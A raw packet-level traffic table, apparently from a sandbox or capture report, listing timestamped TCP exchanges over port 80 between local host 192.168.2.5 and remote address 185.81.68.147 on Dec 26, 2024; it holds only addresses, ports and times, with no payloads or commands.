Dec 26, 2024 12:05:11.843595982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.843631983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.843682051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.844562054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.844610929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.844680071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.844731092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.845704079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.845716000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.845762014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.846621037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.846671104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.846735954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.846782923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.847632885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.847682953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.847718000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.847763062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.848751068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.848798037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.849101067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.849150896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.849679947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.849725962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.849747896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.849795103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.850853920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.850956917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.851005077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.851887941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.851900101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.851943970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.852842093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.852890015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.852921963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.852972031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.853820086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.853871107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.853885889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.853935957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.854856014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.854907990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.854970932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.855015993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.855962992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.856014967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.856091976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.856136084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.856972933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.857022047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.857053041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.857098103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.857918024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.857969046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.858078003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.858123064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.858959913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.859010935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.859052896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.859098911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.859952927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.860001087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.860078096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.860124111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.860976934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.861027002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.861057997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.861104965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.862164974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.862215996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.862217903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.862260103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.863231897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.863290071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.863301039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.863356113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.864089012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.864120960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.864142895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.864156961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.865151882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.865207911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.865364075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.865422964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.866120100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.866169930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.866185904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.866231918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.867186069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.867238045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.867337942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.867383957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.868123055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.868175983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.868252993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.868297100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.869182110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.869227886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.869364023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.869405985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.870289087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.870309114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.870343924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.870361090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.871253967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.871301889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.871334076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.871381998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.872390985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.872430086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.872482061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.873295069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.873347998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.873406887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.873450994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.874279022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.874327898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.874327898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.874366999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.875354052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.875400066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.875416994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.875466108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.876334906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.876445055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.876508951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.877396107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.877444029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.877446890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.877492905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.878462076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.878473997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.878515959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.879508972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.879565001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.879677057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.879724026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.880464077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.880523920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.880534887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.880563974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.881510019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.881521940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.881584883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.882502079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.882560015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.882642031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.882751942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.883507013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.883548021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.040589094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.040764093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.040855885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.040956974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.041009903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.041151047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.041194916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.041970968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.042018890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.042057037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.042105913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.043011904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.043060064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.043128014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.043179035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.044066906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.044110060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.044147968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.044190884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.045053959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.045104027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.045136929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.045172930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.046051025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.046097994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.046152115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.046197891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.047090054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.047121048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.047163010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.047177076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.048280954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.048330069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.048369884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.048413992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.049187899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.049232006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.049334049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.049379110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.050143003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.050189018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.050254107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.050302029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.051179886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.051230907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.051266909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.051366091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.052265882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.052314043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.052345991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.052402020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.053251982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.053332090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.053364992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.053406000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.054251909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.054296017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.054362059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.054404974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.055329084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.055376053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.055427074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.055471897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.056298971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.056345940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.056437016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.056483984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.057379961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.057419062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.057440996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.057462931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.058506012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.058638096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.058783054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.059362888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.059410095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.059453964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.059503078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.060410976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.060472012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.060518026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.060564995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.061501980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.061517000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.061574936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.062552929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.062601089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.062602997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.062645912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.063544035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.063657999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.063704967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.064595938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.064642906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.064708948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.064754009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.065696955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.065716982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.065741062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.065762997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.066590071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.066636086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.066668987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.066715002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.067616940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.067658901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.067872047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.067917109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.068624973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.068684101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.068727016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.069608927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.069653988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.069720030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.069765091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.070679903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.070734024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.070801973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.070846081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.072246075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.072276115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.072293043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.072309017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.073153973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.073167086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.073201895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.074229002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.074240923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.074271917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.074299097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.075110912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.075155973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.075202942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.075248957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.075875044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.075922966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.075958967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.075998068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.076828957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.076874971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.076905966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.076948881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.077811003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.077862024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.077923059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.077975988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.078964949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.079010010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.079065084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.079111099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.079946995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.080001116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.080040932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.080089092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.081002951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.081048012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.081048965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.081091881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.081916094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.081962109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.082117081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.082168102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.082967997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.083014011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.083187103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.083230019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.084048033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.084095001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.084104061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.084150076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.085021019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.085072041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.085110903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.085155964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.086082935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.086127996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.086146116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.086189032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.087172031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.087215900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.087292910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.087337971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.088205099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.088268995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.088285923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.088331938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.089103937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.089154959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.089190960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.089236975 CET	49708	80	192.168.2.5	185.81.68.147
